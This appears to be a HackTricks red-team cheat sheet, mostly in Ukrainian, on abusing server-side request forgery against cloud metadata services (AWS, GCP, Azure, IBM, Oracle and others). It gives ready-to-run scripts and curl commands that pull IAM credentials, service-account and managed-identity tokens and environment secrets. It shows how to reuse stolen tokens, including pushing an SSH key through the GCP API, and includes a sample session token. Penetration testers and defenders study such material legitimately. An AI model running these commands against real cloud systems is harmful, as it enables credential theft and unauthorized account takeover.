Cloud SSRF
Tip
Вчіться та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вчіться та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вчіться та практикуйте Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Перегляньте повний каталог HackTricks Training для assessment tracks (ARTA/GRTA/AzRTA) і Linux Hacking Expert (LHE).
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 Discord group, telegram group, слідкуйте за @hacktricks_live на X/Twitter, або перегляньте сторінку LinkedIn і YouTube channel.
- Діліться hacking tricks, надсилаючи PRs до репозиторіїв github HackTricks і HackTricks Cloud.
AWS
Abusing SSRF in AWS EC2 environment
The metadata endpoint can be accessed from inside any EC2 machine and offers interesting information about it. It’s accesible in the url: http://169.254.169.254 (information about the metadata here).
There are 2 versions of the metadata endpoint. The first one allows to access the endpoint via GET requests (so any SSRF can exploit it). For the version 2, IMDSv2, you need to ask for a token sending a PUT request with a HTTP header and then use that token to access the metadata with another HTTP header (so it’s more complicated to abuse with a SSRF).
Caution
Note that if the EC2 instance is enforcing IMDSv2, according to the docs, the response of the PUT request will have a hop limit of 1, making impossible to access the EC2 metadata from a container inside the EC2 instance.
Moreover, IMDSv2 will also block requests to fetch a token that include the
X-Forwarded-Forheader. This is to prevent misconfigured reverse proxies from being able to access it.
You can find information about the metadata endpoints in the docs. In the following script some interesting information is obtained from it:
EC2_TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null)
HEADER="X-aws-ec2-metadata-token: $EC2_TOKEN"
URL="http://169.254.169.254/latest/meta-data"
aws_req=""
if [ "$(command -v curl)" ]; then
aws_req="curl -s -f -H '$HEADER'"
elif [ "$(command -v wget)" ]; then
aws_req="wget -q -O - -H '$HEADER'"
else
echo "Neither curl nor wget were found, I can't enumerate the metadata service :("
fi
printf "ami-id: "; eval $aws_req "$URL/ami-id"; echo ""
printf "instance-action: "; eval $aws_req "$URL/instance-action"; echo ""
printf "instance-id: "; eval $aws_req "$URL/instance-id"; echo ""
printf "instance-life-cycle: "; eval $aws_req "$URL/instance-life-cycle"; echo ""
printf "instance-type: "; eval $aws_req "$URL/instance-type"; echo ""
printf "region: "; eval $aws_req "$URL/placement/region"; echo ""
echo ""
echo "Account Info"
eval $aws_req "$URL/identity-credentials/ec2/info"; echo ""
eval $aws_req "http://169.254.169.254/latest/dynamic/instance-identity/document"; echo ""
echo ""
echo "Network Info"
for mac in $(eval $aws_req "$URL/network/interfaces/macs/" 2>/dev/null); do
echo "Mac: $mac"
printf "Owner ID: "; eval $aws_req "$URL/network/interfaces/macs/$mac/owner-id"; echo ""
printf "Public Hostname: "; eval $aws_req "$URL/network/interfaces/macs/$mac/public-hostname"; echo ""
printf "Security Groups: "; eval $aws_req "$URL/network/interfaces/macs/$mac/security-groups"; echo ""
echo "Private IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv4-associations/"; echo ""
printf "Subnet IPv4: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv4-cidr-block"; echo ""
echo "PrivateIPv6s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv6s"; echo ""
printf "Subnet IPv6: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv6-cidr-blocks"; echo ""
echo "Public IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/public-ipv4s"; echo ""
echo ""
done
echo ""
echo "IAM Role"
eval $aws_req "$URL/iam/info"
for role in $(eval $aws_req "$URL/iam/security-credentials/" 2>/dev/null); do
echo "Role: $role"
eval $aws_req "$URL/iam/security-credentials/$role"; echo ""
echo ""
done
echo ""
echo "User Data"
# Search hardcoded credentials
eval $aws_req "http://169.254.169.254/latest/user-data"
echo ""
echo "EC2 Security Credentials"
eval $aws_req "$URL/identity-credentials/ec2/security-credentials/ec2-instance"; echo ""
Як приклад публічно доступних IAM credentials ви можете відвідати: http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws
Ви також можете перевірити публічні EC2 security credentials тут: http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance
Потім ви можете взяти ці credentials і використовувати їх з AWS CLI. Це дозволить вам робити будь-що, на що role має permissions.
Щоб скористатися новими credentials, вам потрібно створити новий AWS profile, ось такий:
[profilename]
aws_access_key_id = ASIA6GG71[...]
aws_secret_access_key = a5kssI2I4H/atUZOwBr5Vpggd9CxiT[...]
aws_session_token = AgoJb3JpZ2luX2VjEGcaCXVzLXdlc3QtMiJHMEUCIHgCnKJl8fwc+0iaa6n4FsgtWaIikf5mSSoMIWsUGMb1AiEAlOiY0zQ31XapsIjJwgEXhBIW3u/XOfZJTrvdNe4rbFwq2gMIYBAAGgw5NzU0MjYyNjIwMjkiDCvj4qbZSIiiBUtrIiq3A8IfXmTcebRDxJ9BGjNwLbOYDlbQYXBIegzliUez3P/fQxD3qDr+SNFg9w6WkgmDZtjei6YzOc/a9TWgIzCPQAWkn6BlXufS+zm4aVtcgvBKyu4F432AuT4Wuq7zrRc+42m3Z9InIM0BuJtzLkzzbBPfZAz81eSXumPdid6G/4v+o/VxI3OrayZVT2+fB34cKujEOnBwgEd6xUGUcFWb52+jlIbs8RzVIK/xHVoZvYpY6KlmLOakx/mOyz1tb0Z204NZPJ7rj9mHk+cX/G0BnYGIf8ZA2pyBdQyVbb1EzV0U+IPlI+nkIgYCrwTCXUOYbm66lj90frIYG0x2qI7HtaKKbRM5pcGkiYkUAUvA3LpUW6LVn365h0uIbYbVJqSAtjxUN9o0hbQD/W9Y6ZM0WoLSQhYt4jzZiWi00owZJjKHbBaQV6RFwn5mCD+OybS8Y1dn2lqqJgY2U78sONvhfewiohPNouW9IQ7nPln3G/dkucQARa/eM/AC1zxLu5nt7QY8R2x9FzmKYGLh6sBoNO1HXGzSQlDdQE17clcP+hrP/m49MW3nq/A7WHIczuzpn4zv3KICLPIw2uSc7QU6tAEln14bV0oHtHxqC6LBnfhx8yaD9C71j8XbDrfXOEwdOy2hdK0M/AJ3CVe/mtxf96Z6UpqVLPrsLrb1TYTEWCH7yleN0i9koRQDRnjntvRuLmH2ERWLtJFgRU2MWqDNCf2QHWn+j9tYNKQVVwHs3i8paEPyB45MLdFKJg6Ir+Xzl2ojb6qLGirjw8gPufeCM19VbpeLPliYeKsrkrnXWO0o9aImv8cvIzQ8aS1ihqOtkedkAsw=
Зверніть увагу на aws_session_token, це необхідно для роботи profile.
PACU можна використовувати з виявленими credentials, щоб дізнатися ваші privileges і спробувати підвищити privileges
SSRF in AWS ECS (Container Service) credentials
ECS — це логічна група EC2 instances, на яких можна запускати application без потреби масштабувати власну інфраструктуру management cluster, оскільки ECS керує цим за вас. Якщо вам вдасться скомпрометувати service, що працює в ECS, metadata endpoints change.
Якщо ви звернетеся до http://169.254.170.2/v2/credentials/<GUID>, ви знайдете credentials ECS machine. Але спочатку вам потрібно знайти <GUID>. Щоб знайти <GUID>, потрібно прочитати змінну environ AWS_CONTAINER_CREDENTIALS_RELATIVE_URI всередині machine.
Ви можете зробити це, експлуатуючи Path Traversal до file:///proc/self/environ
Згадана http адреса має повернути AccessKey, SecretKey and token.
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O -
Tip
Зауважте, що в деяких випадках ви зможете отримати доступ до EC2 metadata instance з контейнера (перевірте IMDSv2 TTL limitations, згадані раніше). У цих сценаріях з контейнера ви зможете отримати доступ і до container IAM role, і до EC2 IAM role.
SSRF in AWS EKS Pod Identity credentials
Recent EKS clusters can use Pod Identity instead of the older ECS-style relative URI flow. In these pods, EKS injects:
AWS_CONTAINER_CREDENTIALS_FULL_URI=http://169.254.170.23/v1/credentialsAWS_CONTAINER_AUTHORIZATION_TOKEN_FILE=/var/run/secrets/pods.eks.amazonaws.com/serviceaccount/eks-pod-identity-token
Therefore, a SSRF/LFI capable of reading env vars or the projected service account token file can often recover the pod IAM credentials by querying the local credential endpoint with the authorization token from that file:
# Common discovery primitives
cat /proc/self/environ | tr '\\0' '\\n' | grep '^AWS_CONTAINER_'
ls -l /var/run/secrets/pods.eks.amazonaws.com/serviceaccount/
# Use the projected token to query the local Pod Identity credential endpoint
AUTH_HEADER=$(cat "$AWS_CONTAINER_AUTHORIZATION_TOKEN_FILE")
curl -s -H "Authorization: $AUTH_HEADER" "$AWS_CONTAINER_CREDENTIALS_FULL_URI"
This is especially useful in EKS webhooks, templating services, or URL fetchers that run inside pods and expose a SSRF plus a local file read primitive. The response contains temporary AWS credentials that can be reused from the AWS CLI or tooling such as Pacu.
SSRF for AWS Lambda
In this case the credentials are stored in env variables. So, to access them you need to access something like file:///proc/self/environ.
The name of the interesting env variables are:
AWS_SESSION_TOKENAWS_SECRET_ACCESS_KEYAWS_ACCESS_KEY_ID
Moreover, in addition to IAM credentials, Lambda functions also have event data that is passed to the function when it is started. This data is made available to the function via the runtime interface and could contain sensitive information (like inside the stageVariables). Unlike IAM credentials, this data is accessible over standard SSRF at http://localhost:9001/2018-06-01/runtime/invocation/next.
Warning
Note that lambda credentials are inside the env variables. So if the stack trace of the lambda code prints env vars, it’s possible to exfiltrate them provoking an error in the app.
SSRF URL for AWS Elastic Beanstalk
We retrieve the accountId and region from the API.
http://169.254.169.254/latest/dynamic/instance-identity/document
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
Потім ми отримуємо AccessKeyId, SecretAccessKey і Token з API.
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
Потім ми використовуємо credentials з aws s3 ls s3://elasticbeanstalk-us-east-2-[ACCOUNT_ID]/.
GCP
Ви можете знайти тут docs про metadata endpoints.
SSRF URL for Google Cloud
Потрібен HTTP header Metadata-Flavor: Google, і ви можете отримати доступ до metadata endpoint за допомогою таких URL:
Цікаві endpoints для отримання information:
# /project
# Project name and number
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/project-id
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/numeric-project-id
# Project attributes
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/attributes/?recursive=true
# /oslogin
# users
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/users
# groups
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/groups
# security-keys
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/security-keys
# authorize
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/authorize
# /instance
# Description
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/description
# Hostname
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/hostname
# ID
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/id
# Image
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/image
# Machine Type
curl -s -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/machine-type
# Name
curl -s -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/name
# Tags
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/scheduling/tags
# Zone
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/zone
# User data
curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/attributes/startup-script"
# Network Interfaces
for iface in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/"); do
echo " IP: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/ip")
echo " Subnetmask: "$(curl -s -f -H "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/subnetmask")
echo " Gateway: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/gateway")
echo " DNS: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/dns-servers")
echo " Network: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/network")
echo " ============== "
done
# Service Accounts
for sa in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/"); do
echo " Name: $sa"
echo " Email: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}email")
echo " Aliases: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}aliases")
echo " Identity: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}identity")
echo " Scopes: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}scopes")
echo " Token: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}token")
echo " ============== "
done
# K8s Attributtes
## Cluster location
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/cluster-location
## Cluster name
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/cluster-name
## Os-login enabled
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/enable-oslogin
## Kube-env
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kube-env
## Kube-labels
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kube-labels
## Kubeconfig
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kubeconfig
# All custom project attributes
curl "http://metadata.google.internal/computeMetadata/v1/project/attributes/?recursive=true&alt=text" \
-H "Metadata-Flavor: Google"
# All custom project attributes instance attributes
curl "http://metadata.google.internal/computeMetadata/v1/instance/attributes/?recursive=true&alt=text" \
-H "Metadata-Flavor: Google"
Beta наразі НЕ вимагає заголовка (дякую Mathias Karlsson @avlidienbrunn)
http://metadata.google.internal/computeMetadata/v1beta1/
http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true
Caution
Щоб use the exfiltrated service account token, ви можете просто зробити:
# Via env vars export CLOUDSDK_AUTH_ACCESS_TOKEN=<token> gcloud projects list # Via setup echo "<token>" > /some/path/to/token gcloud config set auth/access_token_file /some/path/to/token gcloud projects list gcloud config unset auth/access_token_file
Add an SSH key
Extract the token
http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json
Перевірте scope токена (з попереднім output або виконавши наведене нижче)
curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuXXXXXXXkGT0rJSA {
"issued_to": "101302079XXXXX",
"audience": "10130207XXXXX",
"scope": "https://www.googleapis.com/auth/compute https://www.googleapis.com/auth/logging.write https://www.googleapis.com/auth/devstorage.read_write https://www.googleapis.com/auth/monitoring",
"expires_in": 2443,
"access_type": "offline"
}
Тепер push SSH key.
curl -X POST "https://www.googleapis.com/compute/v1/projects/1042377752888/setCommonInstanceMetadata"
-H "Authorization: Bearer ya29.c.EmKeBq9XI09_1HK1XXXXXXXXT0rJSA"
-H "Content-Type: application/json"
--data '{"items": [{"key": "sshkeyname", "value": "sshkeyvalue"}]}'
Cloud Functions
Точка endpoint metadata працює так само, як у VMs, але без деяких endpoint-ів:
# /project
# Project name and number
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/project-id
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/numeric-project-id
# /instance
# ID
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/id
# Zone
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/zone
# Auto MTLS config
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/platform-security/auto-mtls-configuration
# Service Accounts
for sa in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/"); do
echo " Name: $sa"
echo " Email: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}email")
echo " Aliases: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}aliases")
echo " Identity: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}identity")
echo " Scopes: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}scopes")
echo " Token: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}token")
echo " ============== "
done
Cloud Run / Cloud Functions 2nd gen
Для Cloud Run і 2nd generation Cloud Functions зазвичай цікавіше вкрасти не лише OAuth access token, а й audience-bound identity token з metadata server. Це корисно, коли скомпрометований workload може дістатися до private Cloud Run services, IAP-protected backends або будь-якого сервісу, що перевіряє Google-issued ID tokens.
# OAuth access token for the attached service account
curl -s -H "Metadata-Flavor: Google" \
"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"
# Audience-bound identity token
curl -s -H "Metadata-Flavor: Google" \
"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/identity?audience=https://TARGET-REGION-PROJECT.run.app"
Tip
Ендпоінт
identityвимагає параметрaudience. У реальних engagement це зазвичай означає, що після підтвердження SSRF протиtoken, вам слід перелічити внутрішні URLs сервісів, а потім запросити другий token із точним audience, який очікує цільовий сервіс.
Digital Ocean
Warning
Тут немає нічого на кшталт AWS Roles або GCP service account, тож не очікуйте знайти metadata bot credentials
Documentation available at https://developers.digitalocean.com/documentation/metadata/
curl http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1.json
http://169.254.169.254/metadata/v1/
http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1/user-data
http://169.254.169.254/metadata/v1/hostname
http://169.254.169.254/metadata/v1/region
http://169.254.169.254/metadata/v1/interfaces/public/0/ipv6/addressAll in one request:
curl http://169.254.169.254/metadata/v1.json | jq
Azure
Azure VM
- Must contain the header
Metadata: true - Must not contain an
X-Forwarded-Forheader
Tip
Azure VM може мати приєднану 1 system managed identity і кілька user managed identities. Це по суті означає, що ви можете impersonate всі managed identities, приєднані до VM.
Під час запиту access token до metadata endpoint, за замовчуванням metadata service використовуватиме system assigned managed identity для генерації token, якщо така system assigned managed identity є. Якщо є лише ONE user assigned managed identity, тоді вона буде використана за замовчуванням. Однак якщо system assigned managed identity немає і є multiple user assigned managed identities, тоді metadata service поверне error, що є multiple managed identities і потрібно specify which one to use.
На жаль, я не знайшов metadata endpoint, який вказує всі MI, приєднані до VM, тож з’ясування всіх assigned managed identities для VM може бути складним завданням з Red Team perspective.
Тому, щоб знайти всі attached MI, ви можете:
- Отримати attached identities with az cli (якщо ви вже compromised principal у Azure tenant з permission
Microsoft.Compute/virtualMachines/read)az vm identity show \ --resource-group <rsc-group> \ --name <vm-name>
- Отримати attached identities за допомогою default attached MI у metadata:
export API_VERSION="2021-12-13" # Get token from default MI export TOKEN=$(curl -s -H "Metadata:true" \ "http://169.254.169.254/metadata/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/" \ | jq -r '.access_token') # Get needed details export SUBSCRIPTION_ID=$(curl -s -H "Metadata:true" \ "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.subscriptionId') export RESOURCE_GROUP=$(curl -s -H "Metadata:true" \ "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.resourceGroupName') export VM_NAME=$(curl -s -H "Metadata:true" \ "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.name') # Try to get attached MIs curl -s -H "Authorization: Bearer $TOKEN" \ "https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.Compute/virtualMachines/$VM_NAME?api-version=$API_VERSION" | jq
- Get all визначені managed identities у tenant і brute force перевірити, чи якась із них приєднана до VM (потрібен permission
Microsoft.ManagedIdentity/userAssignedIdentities/read):az identity list
Caution
У token requests використовуйте будь-який із параметрів
object_id,client_idабоmsi_res_id, щоб вказати managed identity, яку ви хочете використати (docs). Якщо не вказати жоден, буде використано default MI.
HEADER="Metadata:true"
URL="http://169.254.169.254/metadata"
API_VERSION="2021-12-13" #https://learn.microsoft.com/en-us/azure/virtual-machines/instance-metadata-service?tabs=linux#supported-api-versions
echo "Instance details"
curl -s -f -H "$HEADER" "$URL/instance?api-version=$API_VERSION"
echo "Load Balancer details"
curl -s -f -H "$HEADER" "$URL/loadbalancer?api-version=$API_VERSION"
echo "Management Token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/"
echo "Graph token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://graph.microsoft.com/"
echo "Vault token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://vault.azure.net/"
echo "Storage token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://storage.azure.com/"
Warning
Зауважте, що endpoint
http://169.254.169.254/metadata/v1/instanceinfoне потребує headerMetadata: True, що чудово демонструє impact у SSRF vulnerabilities в Azure, де ви не можете додати цей header.
Azure App & Functions Services & Automation Accounts
З env ви можете отримати значення IDENTITY_HEADER і IDENTITY_ENDPOINT. Їх можна використати, щоб отримати token для звернення до metadata server.
Здебільшого вам потрібен token для одного з цих ресурсів:
- https://storage.azure.com
- https://vault.azure.net
- https://graph.microsoft.com
- https://management.azure.com/
Caution
У token requests використовуйте будь-який із параметрів
object_id,client_idабоmsi_res_id, щоб вказати managed identity, яку ви хочете використати (docs). Якщо не вказати жодного, буде використано default MI.
# Check for those env vars to know if you are in an Azure app
echo $IDENTITY_HEADER
echo $IDENTITY_ENDPOINT
# (Fingerprint) You should also be able to find the folder:
ls /opt/microsoft
# Get management token
curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2019-08-01" -H "X-IDENTITY-HEADER:$IDENTITY_HEADER"
# Get graph token
curl "$IDENTITY_ENDPOINT?resource=https://graph.microsoft.com/&api-version=2019-08-01" -H "X-IDENTITY-HEADER:$IDENTITY_HEADER"
# Get vault token
curl "$IDENTITY_ENDPOINT?resource=https://vault.azure.net/&api-version=2019-08-01" -H "X-IDENTITY-HEADER:$IDENTITY_HEADER"
# Get storage token
curl "$IDENTITY_ENDPOINT?resource=https://storage.azure.com/&api-version=2019-08-01" -H "X-IDENTITY-HEADER:$IDENTITY_HEADER"
IBM Cloud
Warning
Зауважте, що в IBM за замовчуванням metadata не ввімкнено, тож можливо, що ви не зможете отримати до неї доступ, навіть якщо ви всередині IBM cloud VM
export instance_identity_token=`curl -s -X PUT "http://169.254.169.254/instance_identity/v1/token?version=2022-03-01"\
-H "Metadata-Flavor: ibm"\
-H "Accept: application/json"\
-d '{
"expires_in": 3600
}' | jq -r '(.access_token)'`
# Get instance details
curl -s -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" -X GET "http://169.254.169.254/metadata/v1/instance?version=2022-03-01" | jq
# Get SSH keys info
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/keys?version=2022-03-01" | jq
# Get SSH keys fingerprints & user data
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/instance/initialization?version=2022-03-01" | jq
# Get placement groups
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/placement_groups?version=2022-03-01" | jq
# Get IAM credentials
curl -s -X POST -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/instance_identity/v1/iam_token?version=2022-03-01" | jq
Документацію для різних platform metadata services наведено нижче, з акцентом на методи, через які можна отримати configuration і runtime information для instances. Кожна platform пропонує унікальні endpoints для доступу до її metadata services.
Packetcloud
Для доступу до metadata Packetcloud документацію можна знайти тут: https://metadata.packet.net/userdata
OpenStack/RackSpace
Потреба в header не згадується. Metadata можна отримати через:
http://169.254.169.254/openstack
HP Helion
Потреба в header тут теж не згадується. Metadata доступна за адресою:
http://169.254.169.254/2009-04-04/meta-data/
Oracle Cloud
Oracle Cloud Infrastructure має режим IMDSv2, який сьогодні значно актуальніший за legacy приклади /latest/. В IMDSv2:
- Requests надсилаються на
http://169.254.169.254/opc/v2/ - Requests мають включати header
Authorization: Bearer Oracle - Requests із
Forwarded,X-Forwarded-ForабоX-Forwarded-Hostвідхиляються - Якщо instance налаштовано дозволяти лише IMDSv2, старі paths
/opc/v1і/openstackповертають404
Interesting endpoints:
curl -s -H "Authorization: Bearer Oracle" \
http://169.254.169.254/opc/v2/instance/
curl -s -H "Authorization: Bearer Oracle" \
http://169.254.169.254/opc/v2/vnics/
Тож, з точки зору SSRF, OCI тепер поводиться значно ближче до hardened cloud metadata services, які вимагають mandatory header і явно відхиляють поширені forwarded-header proxy patterns.
Alibaba
Alibaba пропонує endpoints для доступу до metadata, включно з instance та image ID:
http://100.100.100.200/latest/meta-data/http://100.100.100.200/latest/meta-data/instance-idhttp://100.100.100.200/latest/meta-data/image-id
Kubernetes ETCD
Kubernetes ETCD може зберігати API keys, internal IP addresses і ports. Доступ продемонстровано через:
curl -L http://127.0.0.1:2379/versioncurl http://127.0.0.1:2379/v2/keys/?recursive=true
Docker
До Docker metadata можна отримати локальний доступ, нижче наведено приклади отримання інформації про container та image:
- Simple example to access containers and images metadata via the Docker socket:
docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash- Inside the container, use curl with the Docker socket:
curl --unix-socket /var/run/docker.sock http://foo/containers/jsoncurl --unix-socket /var/run/docker.sock http://foo/images/json
Rancher
До metadata Rancher можна отримати доступ за допомогою:
curl http://rancher-metadata/<version>/<path>
References
- AWS SDKs and Tools Reference Guide - Container credential provider
- Oracle Cloud Infrastructure - Instance Metadata Service v2
Tip
Вчіться та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вчіться та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вчіться та практикуйте Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Перегляньте повний каталог HackTricks Training для assessment tracks (ARTA/GRTA/AzRTA) і Linux Hacking Expert (LHE).
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 Discord group, telegram group, слідкуйте за @hacktricks_live на X/Twitter, або перегляньте сторінку LinkedIn і YouTube channel.
- Діліться hacking tricks, надсилаючи PRs до репозиторіїв github HackTricks і HackTricks Cloud.


